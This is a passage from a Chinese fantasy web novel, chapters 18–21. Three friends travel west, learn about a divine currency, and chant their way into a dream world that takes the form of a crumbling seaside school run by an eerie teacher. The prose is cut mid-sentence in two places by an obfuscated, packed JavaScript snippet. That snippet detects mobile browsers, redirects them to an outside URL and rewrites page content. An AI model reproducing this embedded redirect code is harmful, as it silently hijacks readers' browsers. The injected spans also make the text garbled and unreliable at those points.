一朵巨大的烟花在众人头顶炸响,散做流星带着大雨滂沱的气势划过夜空。 “这朵烟花这么响,阿烛,你的愿望一定能实现。”风眠看向她,额发被夜风轻轻掀起,露出秀气的额头和映着漫天火彩的眼睛。 18.春皇开道 初一,风家兄妹带着夏烛拜年去。 挨家挨户从白天逛到月上柳梢。 风枫的阿若表姐送了一截干枯的鬼藤给夏烛。干枯鬼藤虽然没有毒性,但带在身上有避毒的作用。 除此之外三人收获了很多厚厚的红包,夏烛实在不好意思,可她穷得叮当响,也拿不出什么回礼。在风叶的允许下,她用自己的能力愈合了许多人因为劳作而留下的细小伤口。 初二一早,三人收拾行装,准备动身前往日月山。 风枫说什么也要坚持用布包将自己的野人2号、3号、4号套装包起来挎在肩上,她说这样才有风餐露宿赶路的感觉,她总爱一些角色扮演,喜欢将生活过出故事感,此行往西,她们就是取经三人组,夏烛觉得十分有趣。 老姜早起为她们准备了丰盛的早餐,临走之前风叶才睡眼惺忪的从楼上下来。她怀里抱着一件看上去就十分温暖的棉衣,打着哈欠一句话不说塞到夏烛怀里。夏烛拿着那件袖口绣了“xz”字母样式的衣服站在原地,张了张嘴像只被噎住的小鸡。 风叶还将一只棉布小包给了风枫,告诉她别省着,该用用,风枫满眼精光地双手接过小包连同小鸡布包,夏烛的艾草香包一起挂在腰间。 野人从此装备成型有了身份,丐帮三袋长老。 和风家夫妇告了别,眼中偷偷泛着泪光穿上厚棉服又裹着校服外套的米其林轮胎人夏烛,丐帮三袋长老风枫,以及普通村民风眠就此上路。 一路西行风尘仆仆换了三次大巴车,终于灰头土脸地搭着当地老乡的摩的来到了东山最高的天孙山脚下。对于她们转辗两三天仍在东山境内夏烛感到很疑惑,她问风枫为什么不去市里坐能够直达日月山所在地濮阳的火车或者高铁,风枫却一脸高深莫测,又说出那句“待会儿你就知道了。” 她们住进了当地的招待所,放好行李后风眠就出门去买明天上天孙山的门票了,这里毕竟是景区,要上山还得按规矩来。 夏烛没住过旅馆,她四处看了看,从背包里拿出自己的衣服铺在她和风枫的床上,小旅馆虽然设施齐全,比她家好很多,但是烧水壶里结了厚厚的白色水垢,墙皮有些湿软脱落,连被子也有点潮,山里的空气要比平原上潮湿很多。 她推开窗户通风,窗外面就是高耸入云的天孙,楼下的商业小街人来人往,已经是晚饭时间,街上亮起灯很是热闹,空气中还飘来小吃的香味。 年节里游客比想象得多,好一些的酒店早就订满,不过她们只在这里休整一夜,夏烛对住宿环境要求不高,但是担心风枫和风眠会睡不好。 “阿烛快来!” 回头一看,风枫已经盘腿坐在小床上,神秘兮兮地对着她招手。 “你不是想问为什么不去坐直达的火车吗?”风枫拍了拍身边的位置让夏烛坐下,然后解开腰上的布包。 是出发前风叶给她的那一个。 她双手拉住布包的结绳,嘴里念念有词,耳朵上的符钰也跟着发出微光。 这个布包上似乎设有禁制,看来里面的东西很是重要。 小包金光一闪后被打开,风枫将开口对着夏烛。 里面竟然是一张张暗金色的小纸条。 她示意夏烛拿出一张。 房间里没有开灯,只有暗淡的天光能勉强视物,连面对面坐着的风枫也面容模糊。 但这张从布包里取出的小纸条却清晰地流动着金光。夏烛用手轻轻捏了捏,材质也不像是普通的纸,有不被轻易撕扯的坚韧却又意外柔软。纸面上还有暗纹会随着摆动而发出彩色的游光,纸条中央有一串看不懂的,又像花纹又像某种文字的符号。 “这个,”风枫伸手往符号上点了一下,“这就是神血家族的通行货币,神策。” 神策也就是神的语言,用以传达神的指示。夏烛捏着纸条翻来覆去得看,最后得出结论。 这是鬼画符。 “俺们去日月山,除了参加九天大会,还有一件重要的事情,就是用天生相石兑换神策。”风枫伸出一根手指指向窗外的天孙,“神策就是神血世界的货币啦,明天上山顶也要用到。” “上面的文字是什么意思?”夏烛问。 “俺也不知道,神策对俺来说就是能换好东西的钱,但对很多家族的人来说简直就是稀世珍宝奉为圭臬,有些人毕生都在研究上面的内容,妄想看破天机呢,可据俺所知至今无人破解出哪怕一条神策,一个字。”风枫耸耸肩,但突然神色一变,严肃起来,“所以说阿烛,因为神策还是家族荣誉的象征,因此在魍魉梦境里,一部分危险来自于梦主魍魉,而另一部分不容忽视的危险则来自于其余家族的竞争者。” 她的眼睛在暗色里像两点烛火。 “运气不好的话一个梦境可是会有很多派系不同的不明官进入哦,就为了争夺等级高的天生相石。” “俺也是在为春皇荣耀而战呢。”她单手扶额,无奈地摇了摇头。 风枫正要继续扮演为家族热血奋斗的角色,门就被敲响。 是风眠买完门票回来,他还贴心地带了晚餐。 “我包里有一次性的睡袋,忘了先拿出来。”他一进门就看见被夏烛铺在床上的衣服,放下买来的东西又去了自己的房间。 “那可是风眠。”风枫将神策布袋重新系回腰间,跳下床奔向一桌香气扑鼻的美食。 最后一丝光线消失在天孙山后,周身的温度变得冰凉又潮湿,山顶隐匿在云层里望不到头,今晚似乎要下雪。 屋里亮起一盏灰蒙蒙的黄色小灯,天花板的灯罩里藏着边缘模糊的阴影。几人吃完了饭,收拾了一下,风眠带上垃圾离开了房间。 过了十分钟左右,她们的房门又被敲响。 是风眠折返回来。 他点了点右耳上的符钰,“我提议,去日月山之前我们带着阿烛再进一次梦吧,正好帮她多熟悉一下,梦里梦外时间流速不同,也不会耽误行程。” 三人达成一致,夏烛起身关上了玻璃窗,将百叶窗帘拉下一半,最后熄灭了房间的灯。她们坐在风枫的床上,光线昏暗,彼此之间看不清对方的脸,只有大致的轮廓带来些许安心。 “阿烛,有了符钰之后你就是肉身入梦,不再像之前意识入梦那样了,所以把需要的东西都带在身上吧。”风枫指了指自己身上的装备,表示这些东西都会随着她们一起进入魍魉世界。 夏烛想了想,往双肩包里放了一件冬衣一件薄衫,不确定会去到什么样的季节,最好做万全的准备,她除了一些日常洗漱用品和几本正在看的书外也没带什么东西了,犹豫了一下,挑了那本《萤窗异草》,背上包重新和两人坐到一起。 虽然黑暗中看不清人的表情,但风枫的眼睛却尤其亮,她对着夏烛的方向,伸手摸索了一下,捏了捏夏烛的胳膊。 “左手按住符钰,右手起势,俺念什么你就念什么。”说完她左手竖起两根手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739449|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指在夏烛眼前晃了晃,“像这样。” 夏烛深呼了一口气,学着她的样子,左手捏住右耳上的符钰,右手也在胸前竖起两根手指,集中所有注意力,静心分辨风枫的声音,一片迷蒙之中,所有细微的动静都被放大。只听到风枫也呼出一口气,紧接着低沉念出咒文。 “日月停轮,天地同生。” “三十二日,魍魉现形。” “人不见我,我不见人。” “春皇开道,梦貘引铃……” 风枫每念一句,就停顿一下,等着风眠和夏烛一起重复她的不明咒,直到最后一个“铃”字落地,夏烛忽然觉得指腹间的符钰变得滚烫并开始发出耀眼的亮光,在临界她承受极限之际三颗符钰形成的光芒似乎被无形的力量揉成三条水线在三人围坐中央汇集成一颗暗金色的光球,光球之中似有生命,几个扭动变换后化成建木模样。 随着建木成型,周围罡风四起,建木光芒一瞬放大,夏烛不得不闭上眼睛,只感觉周围天旋地转,风声呼啸不止,过了许久才慢慢平息。 骤然安静下来,她有些耳鸣,双眼依旧紧闭,却能看见眼皮上透光的血丝,艳红之中带着一些紫。 “阿烛,阿烛,可以睁眼了。”风枫的声音在耳边响起,夏烛适时睁开眼睛。 眼前是一个无边的巨大空间,整个空间呈现出绮丽的红紫色,头顶和四壁全是紫红色的肉芽状的大小不一的突起,但又晶莹剔透似宝石,表面柔滑彩晕芙蓉色,随着视线转动又光含翡翠辉,让人还来不及将误以为肉芽的恶心咽回去,又被溢彩流光惊停心思。 地面上是密密麻麻的水坑,夏烛往最近的那个水坑迈近一步,里面盛满水银一般的浓稠液体,每个水坑旁都竖有一盏琉璃做的八角风铃,颜色各异。 “今天怎么回事,居然只有俺们几个?”风枫挠挠头,四处张望。 夏烛不清楚她们是否已经在梦中,听风枫的意思,这里原本应该有很多人的。 风枫跳过几个水坑,来到她身边,“还没跟你介绍,这个地方叫做貘,是梦界的入口,也是时间缝隙,独立于时间之外的第三十二日。所有不明官念过不明咒后都会先来到这里,挑选适合的梦境选择性进入。”她往下一指夏烛脚边的水银坑,“喏,就是这个。奇怪得很,马上就是九天大会了,临时抱佛脚的人应该很多啊。” 她见夏烛盯着自己,又说:“大会上要评出一年时间内神策数量最多的家族,成为下一届九天大会的举办地,所以每年这个时候都是那些人最后冲刺的时间,入梦取石,再去日月山兑换神策,今年大会也在日月山举行,倒也省了一来一去的时间,免得两头跑……” “今天只有我们三个,确实奇怪。”风眠也附和。 时间缝隙。 夏烛抬起头,头顶石壁距离地面有十几层楼那么高,前后左右也只有无边无际的水坑,有种说不出的孤单感。 独立于时间之外的第三十二日,是不是意味着这里的时间是相对停止的,那要是一直藏在貘中岂不就像是找到了某种利于作弊的bug,说不定能实现长生不老。 “有人吗!”风枫双手围在嘴边大喊了一声,回音触及石壁又从很远的地方传来一句“有人吗……”这种感觉就像不同时空的另一个风枫在回应自己。 在这个地方年年岁岁无尽地活下去,光是想一想,夏烛的皮肤就开始找不到痛点地发痒,像有好几只蚂蚁躲在血管之下啮咬经脉。 19.潮水箴言 “显然没人!”得不到除回音以外的回应,风枫有些兴奋,“这下好了!俺可以挑个喜欢的!没人跟俺抢!”说着她就要去摇动近旁一盏白色的风铃,却被风眠阻止。 “你忘了,白色等级的梦,需要至少五个人一起进入,这盏风铃上设有禁制,你是摇不响的。” 风枫显然对于自己不能挑战难度高的梦境很是失望,“那红色的总可以吧!”她牵过夏烛的人,挑选了一盏离她们最近的红色风铃。 风铃内部垂下一串水滴状的铃舌,风枫轻轻捏住最末端那一颗。 ”准备好了吗?”她侧头看向夏烛,然后轻轻晃动珠串,风铃没有发出意料中的响声,只是水坑里水银状的液体开始向外荡开一圈圈泛着金属光泽的涟漪,“要跳咯。” 她朝夏烛眨了下眼睛就翻进水中不见了身影,即使往浅水投入一颗石子多少也能激起水花,但现在水面除了涟漪外过于平静,就像整个地方都是一只活物,风枫不是进入某个梦境,而是被什么东西缓慢地吞吃了。 “我就在你后面。”风眠示意她先跳,他的魔力是总让人安心。 说实话夏烛的脑子一片空白,觉得自己应该还有很多问题要问的,例如入水之后能不能呼吸,三人要怎么集合等等,但在还没反应过来前,人就已经跳了下去。 在这种事情上她的脑子通常转得比较慢。 没有想象中水流包裹全身的感觉,八方没有着力,似乎飘在外太空。听不见任何声音包括自己的心跳呼吸,这种感觉意外得叫人平静,就像回到了最初某个胚胎之中,时间于此不再流转,一切都是未知,未知又代表希望。 夏烛意识到自己并没有产生类似窒息的反应,犹豫着睁开眼睛。 气泡带着银白的闪烁快速上升,浮出狂风暴雨惊涛骇浪的海面,雨丝乱舞如同狂欢的鼓点,凿穿大地灼烧皮肤,世界倒悬,包裹着远古呢喃的气泡从天而降在耳边破裂,一轮巨大的银色圆月不知升起还是掉落,就在脸前冷冷贴住海平线。 无数碎片化的景象疯狂在脑内闪过,就像一台信息过载的电脑,夏烛的视野最终停留在一片终止响应的蓝色。 过了很久也许只是几秒钟,她慢慢找回了所有感官,咸湿的风从左侧耳朵带动发丝不停吹向右边,扫在鼻尖上有些发痒,片刻之间她裸露在外的皮肤上每一根汗毛都被裹上了阴凉的水汽。 夏烛坐在一张硬板床上,床贴在整个房间的一面墙上,就挨在窗下。而床的对面,房间的另一侧相对着还开着一扇窗户,因此穿堂风毫不客气地刮擦这个长方形的幽暗空间。 环境中的味道过于新奇,加之她察觉到了海浪拍打礁石的声音,于是往窗外看去。 一望无际的大海在没有月光的夜晚像一只匍匐在地的巨大幽灵,近海面上闪着苍白的光斑不知是何种光源反射,或者是藏在海面下的发光体。 夏烛还没有见过大海,这种将天地在视野范围内和生理感官上无限放大的效果让她长长地吸了一口气。 这次的梦与玩具厂完全是两个极端,不再压抑阴沉,反而有太过空旷的真实感。 她微微探头出去,发现自己所在的房间似乎离地面有三四层楼那么高,光线太暗无法看清具体的细节,只看到楼下正对她的位置有一块四四方方的暗色区域。 似乎是个水塘。 水塘不远处竟然就连接着潮线,没有所谓的礁石沙滩过度,一个小小的浪头就能翻到地面上来。 她收回身体,短短几秒就感觉自己的头发里凝出了海盐结晶。走下床,屋子比工厂宿舍大了很多,整体呈狭长的长方形,空气中除了潮湿,还有某种说不出的古老气味。 也许是霉菌。 房间另一头的窗外也是无边际的大海,从这里隐约可以看出她所在的建筑大概率建在一座小岛陡峭的悬崖上,底下的海水孜孜不倦侵蚀这座岛屿赖以生存的坚实堤坝。 房间内还有一间小小的盥洗室,此外再无别的东西。 风枫和风眠不知道在哪里。 现在最重要的是确认另外两人是否是安全的,她走到门口轻手轻脚拧开了门锁。 门外是一条长长的走廊,右侧一排全是夜色里黑洞洞的房间,而左边一侧是齐腰的栏杆,能将大海看得更开,风也撞进此处变得乱起来。 夏烛不敢轻举妄动,仔细辨认右边的房间,大概有六间,从紧挨着自己的第一间房数,第二扇门洞更高大,隐约可以看见通往楼下的楼梯。 其余没什么区别,除了自己醒来的房间位置上跟别的有些不同,处在这个走廊的尽头。 还在想怎么能与风枫兄妹联系上,旁边的门嘎吱一声被推开,夏烛下意识地后退一步,握紧门上的把手。 好在从门内出来的是风枫。 风枫朝她做了一个噤声的动作,然后小心翼翼地关上了门侧身溜进夏烛的房间。 “你这个房间倒是比俺的大很多耶!”她尽量压着声音,“夜晚不好出门,也不知道这个梦境有什么规则或者危险,俺先用障目探探顺便找找风眠。” 两人坐到床上,风枫闭上眼睛竖起两根手指,指尖“嘭”地冒出一片宽面的绿叶,叶梗处展开一条金色的脉络直达叶尖。 “开。” 叶面上的金线抖动了几下,上下分开变成一只眼睛,对着夏烛眨巴眨巴,晃晃悠悠地从敞开的窗户飞了出去。 “好奇怪,这地方像是烂尾楼。”她维持着动作不变,就是眉头越来越皱。 “一共三层…一、二、三、三楼六个,二楼九个,好像就15个房间…不对,走廊还有拐角,另一边还有个好大的房间,好多桌子…还有黑板…这里不会是什么学校吧,每一层都有一间教室,就在走廊的背面,风眠…风眠呢…找到了!” “老哥住在二楼,站在窗户边跟俺打招呼呢!” 两人约好了不在一起醒来,就用障目确认方位。 “这里四面都是大海,似乎没有离开的路线……” “可以了小枫,不用再看了,现在不清楚梦中其余人的情况,还是等天亮了再说吧。” 风枫点点头,收回了障目。 “按兵不动,以防万一。”她捏了捏夏烛的手,“注意安全。”然后各自回房睡觉。 第一晚无法掌握再多的线索,抽丝剥茧这种事情要慢慢的来,局限的思考不如睡觉。 海浪起伏是最好的助眠,梦中无梦。 入梦第二日。 钟声在整个小岛传送,第一个回音中夏烛睁开了眼睛。风依旧很大,屋子内的光线并不亮堂,天际线呈现一种淤堵的灰蓝色,昭示不久的将来会有一场暴风雨,蓄力中的气压将海浪拉得更高,拍打着这座岛屿的基石就更响。 房间显然过于陈旧,四壁都有不同程度的脱落斑驳,甚至是风刮过的痕迹,一盏可怜巴巴的吊灯被命运的绳线堪堪吊着。灰蓝色是这里的光线标配,蔓延至整个房间,夏烛惊喜地发现墙角天花板除了霉菌竟然还爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744766|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了藻类。 这可是深海植物。 仿佛曾有一场沧海桑田在这个房间中渐次上演。 夏烛蹲在墙角观察这些不合时宜的物种,瞧它们颤颤巍巍地在海风中摇摆,想象自己仍在200米深的海底家园随着水流挥舞百年的寿命。 要不是钟声又响了几下,夏烛都觉得自己快要变成一株红藻,只要飘啊飘啊就好,什么都不用思考。 她找到自己就放在床头的背包,换上了适宜这里温度的薄衫,天气虽然阴沉,但算不上寒冷。 门外面变得吵闹起来,是时候该出门了。 走廊上陆陆续续走出几人,男男女女都有,看上去和夏烛差不多年纪。她一打开门,风枫就倚在左边的围栏上等待,见她出来,赶紧凑上去,小声道:“这里应该就是学校,钟声响起,就得去上课了。” 她的表情不算太好,“俺最讨厌上学了!” 夏烛想起她坐在课堂上就浑身痒痒,忍不住点头表示理解赞同。 “俺也一样。” “鬼才信!” 两人小声蛐蛐着,跟着最近走出来的女生一路穿过狭长的走廊。不仅是房间内,就连外墙和走廊中都长有成片的藻类,还有一些不知名的藤蔓植物爬上这座看起来实在残破的建筑。 刚才她已经确认了,自己房间的楼下确实有一个不大不小的水池,蓄满沉绿的水,面上似乎飘着东西。 水池旁边还有一座单独的小型建筑,除了一扇门,暂时没有看见窗户,四四方方破破烂烂地守在水池边。 夏烛又望了一眼大海的边界,风把她的头发跟风枫地缠在了一起。 教室就出现在走廊拐角,已经坐了一些学生,各自没有表情动作地呆在位置上,不是低着头就是仰着脸。 风眠不知道什么时候上得楼,就坐在里面靠窗的位置,背景的海面衬得他看上去有些苍白,他朝两人笑了一下算是接上了头。 教室里安静得只能听到潮声,她们俩也不再说话,走到风眠身边的位置上坐下。 十五张桌子,和房间数对上了,单独分散摆放,不存在拥有同桌。 桌椅板凳都是那种最古老的木头的,表面已经被摩得光滑,像是擦了一层油,腐朽的味道轻易钻进鼻腔。 整个桌子空空荡荡,不清楚待会要进行的科目是什么。 夏烛沿着桌面摸索再伸进桌空,她想起家里那张旧木桌,被自己刻上了“早”字,读小学的时候学校里也是这种桌椅,小孩儿就爱拿美工刀在上面刻刻画画,例如某某’爱心’某某,当时觉得很有意思,她也想拥有一个专属自己的刻印,可是’夏烛’和’爱心’后面死活想不出再加个什么,于是她绞尽脑汁最后刻了个大大的’钱’。 夏烛和钱永远锁死。 这是她的美好愿望。 这张课桌显然没有经历过类似的摧残,梦主读书的时候也许是个遵纪守法的好学生。 正当她打算收回手,指腹上明显感到一阵粗糙,就在桌空侧边靠里的位置。 夏烛四下扫了一眼身边的同学,他们仍然保持着呆滞的状态,并且面容都不印在脑中,记不清模样。 她将椅子往后挪了一些,弯下腰,把桌空微微朝着窗外,借着灰蓝色的光线,看清了刻在内侧的东西。 是一个符号。 三块首位相连的长方体组成闭合的三角,中心似乎是一个衬线体的字母“U”。 夏烛认得外面这个标志。 20.潮水箴言 教室里已经坐齐15个人,钟声又响了一次,跟着走进一个中年男人,怀里抱着一摞书。 看样子是这节课的老师。 男人的样子有些说不出的怪异,他的脸庞还算清秀,只是皮肉贴着骨头,双颊凹陷,下巴上的青茬似乎来不及打理。这样瘦弱的面容上半身却顶出一鼓肥囊囊的肚皮,他从门口走上讲台,衬衣下的躯体像一只濒临爆炸的气球上下颠簸出让人心惊的弧度。 更是奇怪,他有一对纤细的四肢。 气球上插了四根棍儿。 他将书放在课桌上,从裤兜里掏索一番,拿出一根粉笔,回身在黑板上写下“生物”两个大字,再一言不发地挨个分下一本书,最后回到自己的位置上,讲桌的后面,钟表下方。 从夏烛身边走过的时候,她能闻到男人身上一股腐败的鱼腥味。 “好…我们翻开书本…今天的生物课…将学习灵长类动物…”他的气息不足,一句完毕仿佛已经力竭。 “一种恶心邪恶的生物…”他小声地补充道,并且在话的最后神经质地发笑,又迅速收敛,脸上的皮肤因为太过干枯,无法适应他如此快的表情变化而堆叠在颧骨周围。 他的话难免让人产生不妙的联想。 这本生物书和夏烛学校的教材相似却又不同,纯白色封面没有多余的图案。而内容页厚厚一本都在讲灵长目的动物,每几段文字就附上一两张动物插图。 夏烛翻完整本,也没有看出什么异样。 而讲台上的男人只是念着书上的内容并没有自己的解析或者适度的拓展。 从物种演化讲到行为社会性,他有气无力的声音让人昏昏欲睡,别说风枫了,就连夏烛也受不了,她干脆将注意力集中在分析谁是魉身上。 这个梦的地理结构说复杂却又很简单。 无边大海相对带来了很多可能性,但他们所在的小岛以及这座破败的小楼又显得十分单一。单从这座建筑分析,如果昨夜风枫探查无误,那房间的数量似乎和人数对不上。 如果夜晚的老师不在两层楼所见的房间内睡觉,那只能是水池边上四四方方盒子一样的房间了。特立独行总是嫌疑很大。 讲台上还在念经一样的男人成了夏烛心中的头号嫌疑人。 海浪声总有那么几秒将他微弱的声音隐没,而这节痛苦的生物课竟然持续了整整三小时。 “好了…今天的生物课到此结束…课后将进行新的一轮打扫值日…负责卫生的同学需要在用餐后单独清理水池,工具就在水池旁的仓库中…” 男人口中所说的需要清理的水池应该就是夏烛楼下的那一个,而一旁盒子一样的小房间原来是这个学校的仓库。 “那么…今日打扫水池的就是…1号…夏烛同学。” 风骤然变大,呼呼吹过脆弱的窗框发出无法承受的咯吱声,早晨还远在天边的积雨云此刻已经在头顶铺展开来,海面上落起闪电,天色迅速暗了下去,闪光透过窗户在昏暗的教室中央投下一格格银白色的光区。 男人站在讲台的阴影里,转动细弱的颈脖隔着潮湿的海风与夏烛对视。 一个惊雷在窗边炸响,整栋楼摇摇欲坠。 “好了…还是老规矩…同学们都要去食堂用餐…用餐后回到各自的房间…校园里不允许随意走动…下课…” 又一道闪电,男人幽灵般已经出现在教室窗外,其余的同学陆续起身,而生物书就这么摆放在课桌上。 “阿烛!俺们一起打扫水池!” 兄妹俩来到夏烛身边,这里离海太近,此刻风声海浪声太大,就算贴在一起说话也几乎要用吼得。 夏烛摇摇头,带着水汽的风将她的头发吹得凌乱,有一些全贴在嘴边,她也大声吼着边扯开头发:“规矩是单独清理,最好按着他说的做,他还说都要去食堂用餐,我们跟着那些人一起吧!” 三人交换眼神,跟着其余的同学出了教室,回到拐角的另一面,从头开始数的第二个门洞就是通往前院的楼梯。 地面已经湿透,由于这座小岛呈现前低后高,前院几乎被海水侵蚀,众人贴在廊下走过避免被浪头打湿裤脚。 跟前往教室同一方向,也就是围绕建筑顺时针走上半圈,建筑一楼的背面就是所谓的食堂。 这里地势较高,食堂相当于就立在小崖上,装修风格也与其他房间不同,三面都是高约几米的落地大窗,身处其中就像悬浮在海面上吃饭。 经过一楼的时候,三人发现了同样的位置还有一间空教室,如果他们猜得没错,三层楼分别设有三间教室。而梦里的时间似乎与真实世界不同,在这里钟声响起直到三小时的课堂结束后就到了晚上。 走进食堂,外界的声音稍稍被隔绝,再不用吼着说话。 地面墙面以及桌椅板凳都是不锈钢材质,透露着一种冰冷的味道,加之三面环海,食堂更像是船舱。 这里几乎是两三个教室那么大,餐桌都分散着摆放,没有人愿意同谁共进晚餐。进门右侧正排着队,三人见状也拿上餐盘走进队伍。 老师似乎在学校里一人担饰好几角。 此刻他又站在不锈钢餐盆内侧,为排队上前的学生一勺勺打饭。 一共三道菜,头一道是一锅纯白色还冒着热气时不时鼓出几个气泡的鱼汤,然后是黏糊的鱼糜作为主食,最后一道是仰望星空版的红烧鱼头,灰白的鱼眼带着丰富的蛋白质和不饱和脂肪酸在蒸汽中朝你眨眼睛。 “闻起来竟然还可以。”风枫给出中肯的评价 一一经过机械打饭的老师,夏烛注意到他身后的墙面上有一些螺帽和接缝,也许墙后面藏着厨房,目前地图拓展出一个食堂,得找个机会进来好好探查一番。 他们找了一个靠窗且远离人群的地方坐下,刚放下餐盘玻璃上就砸出密集的雨点。 雨终于下了起来。 “这玩意儿到底能不能吃?”虽然在梦中不会产生饥饿感,但风枫总想尝试一下。 夏烛想起阿若送她的那截干枯鬼藤,被她放在衣服内侧自己缝的兜里,和艾草香包一起。 “我想这个能不能验毒?”她以一个奇怪的姿势往衣服里摸索,最后举出那截鬼藤来给两人看。 “哆啦B梦啊阿烛!这玩意儿能验出世界上所有的毒!” 听起来像是在骂人。 风枫接了过去,只需要将鬼藤接近食物冒出的气息,如果它流出类似脓液的绿色汁液就说明他们盘中的全鱼宴已经被污染。 如果没有任何反应,说明除了难吃不会太糟。 好在鬼藤没有动静。 风眠拿起勺子往嘴里送了一口鱼汤。 在两人期待的目光下挑了挑眉毛。 “还不错。” 来自美食大师的评价。 松了口气,都开始尝试自己碗里的午餐。 整个食堂,只有他们这一桌人数超过一个,并且将头都凑在一起,怎么看怎么怪异。 ”说正事儿吧,目前来看,奇怪的学校,奇怪的老师,奇怪的同学们,种种要素齐齐指向梦主似乎是一个多年来被校园生活压迫的学生。”风枫首先发表她的看法,“很有共鸣啊,俺甚至怀疑这是俺做的梦了。” 夏烛投去一个眼神,成功被风枫接受并识别意思是“原来你还上过学啊”。 “少瞧不起人!俺们村里有学校的!” “现在手里的线索还是太少,不如每人先提出一个怀疑对象?”风眠提议,“我先来吧,我发现这里的人似乎除了老师,其余人的都不太能记住他们的长相,没有别的线索的话,目前我最怀疑老师。” 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夏烛取下眼镜,掀起衣服一角擦了擦镜片上的水珠再重新戴好。仓库里黑到几乎看不见,她只能完全推开门,才能略微照进点灰蓝色的光线。 墙角一排挂着几件深色的雨衣,另一边的角落一堆黑色的油布不知道有什么作用,再然后就是一些清理水池的工具。 夏烛从架子上取下一件雨衣穿在身上,塑料的表皮混着泥土和藻类的味道,腥气冲鼻就好像曾经有人穿着它潜入深海一样。 仓库里除了杂物没有其余的东西,显然这里也不是老师的藏身地。夏烛从墙角立起来的工具堆里抽出一把网兜提上铁桶。 以前没有做过类似的清理工作,但刚刚路过水池的时候看了看,面上飘了一些苔藓和水草,海水冲上地面也许会带进一些壳类的动物,都用网兜网干净应该就可以了。 装备好一切,她才发现另一面的墙上挂着一叠工作笔记本,木板夹着的书头处还垂下一只摸上去微微黏手的圆珠笔。 上面写着水池值日签到表。 犹豫了一下,她还是写上了自己编号和姓名。 1号,夏烛。 这样的好处就是能在后面了解到班上其余同学的身份信息。 这间屋子实在太闷,黑暗中总给人一种被窥伺感,她将雨衣兜帽拉到头顶盖好,提上桶拿上网兜出门开始清理工作。 风和雨都很大,行动有了阻力,夏烛只好低着头才能避免风把帽子吹开,耳边尽是巨大的噪音,就连自己发出的声音都听不清。 潮水一层层地推上岸,夏烛不敢靠得太近,生怕会被浪给卷走,她将铁桶放到海水冲不到的地方,然后再回到水池边。 水面上漂浮着紫色或者绿色的水草纠缠在一起,风掀起一层层波浪,漂浮物也随着荡来荡去。水池四周贴有瓷砖,瓷砖上爬满了深绿色的藓和玫瑰色的锈迹,水面往下回荡的时候,会露出底部一些牢牢扒住的藤壶类生物。 池水已经呈现一种浓稠的墨绿色,像一锅女巫精心熬制的汤剂。 幸好网兜把手还算长,站在池边勉强能够到中心的那一堆垃圾。她将漂浮物赶在一起堆出差不多的量,就用网兜捞起来,走上几步倾倒进铁桶里。 等她再回到水池边时,水面上游游荡荡的水草只多不少,夏烛叹了口气,正要重新开始打捞,突然发现中心飘荡的水草似乎有些不对劲。 她沿着水池走了几步,换了一个角度,那一团水草像一艘漂浮在大海上的行船,无论风浪如何得大,就是无法摧毁,无法打散。 夏烛轻轻歪过头,水草在雨中慢慢绕成一个符号。 三块首尾相连的方块组成的三角,中心似乎是衬线体的字母“U”。 在水与风的托承之下,在风暴中心,那三角型的符号似乎陷入了无限循环的漩涡。 21.潮水箴言 无论是循环还是漩涡。 光明启示还是灾厄预演。 垃圾就该呆在垃圾桶里。 夏烛抄起网兜插入水中,直接搅散了还在成型中的符号,将剩余的漂浮物一一捞起,一套行云流水的动作完成了任务。 男人说过,校园内不允许随意走动,也许只有打扫水池的时候有机会四处看看找更多的线索。她早就注意到了,建筑物的右边似乎有一条小道,不知道通往什么地方,此刻正是一探究竟的好时机。 夏烛拉紧身上的雨衣,在风中艰难逆行。 没走几步学校的大门就出现在眼前,破败颓废,一如既往的风格。 这都不是重点,重点是紧闭的校门外往深海延伸出一条长长的沿海堤岸。从夏烛的角度她能看到堤岸的右侧是一座略高于它的断崖,而左侧几米高的巨浪拍打上岸。 只是铁门上挂着一把拳头大的锁,大概率校内的学生是不能轻易出去。 夏烛略略估算了一下四周的围墙,觉得自己应该能够翻出去,眼风里有什么东西在雨帘中闪烁了一下,她走进一看,发现门柱上嵌了一块铜制铭牌。 上面的文字被雨水和藻类植物糊住,夏烛伸手抹掉了一些,显现出底下刻的内容。 “6174学校。” 数字代表数列顺序还是名称。 夏烛倾向于名称。 6174,应该是这座学校的名字。 她还在思考学校用这串数字的意义是什么,低头看见一片叶子扒在自己鞋面上。 就像害怕狂风将它吹走,夏烛的鞋就是唯一的支柱,甚至能从颤抖的频率看出它的辛苦。可是无论如何抵挡不了海风的侵蚀,叶片的一角被掀了起来,露出金色的脉络像一只眼睛。 眼睛在暴雨冲刷下疯狂向她眨眼睛。 雨声会隔绝一切细微的动静,例如近在咫尺的脚步声。夏烛感到后背似乎被某种毛绒绒的薄纱笼罩,或者说那是她的汗毛出于感知一切的第六感而尽数立起,她缓慢地直起身体然后转过头去。 一张狰狞扭曲的脸贴着她的鼻尖。 鱼腥味没有征兆扑面而来。 “我是不是说过…校园内…不允许随意…走动…”是那个男人,他的脸部微微浮肿与今早相比有些不同,似乎在水中呆了很久而被泡发,将他那张干瘪的面皮撑了起来。 “我错了老师。”夏烛标标准准地鞠了一躬。 男人似乎没有料到她是如此反应,浮囊的脸部勉强看出诧异。 “这次就算了…下不…为例…” “是!”夏烛回敬一个少先队礼,然后拉下帽檐快步离开。 障目装作一片落叶左摇右摆地跟在她身后飘走。 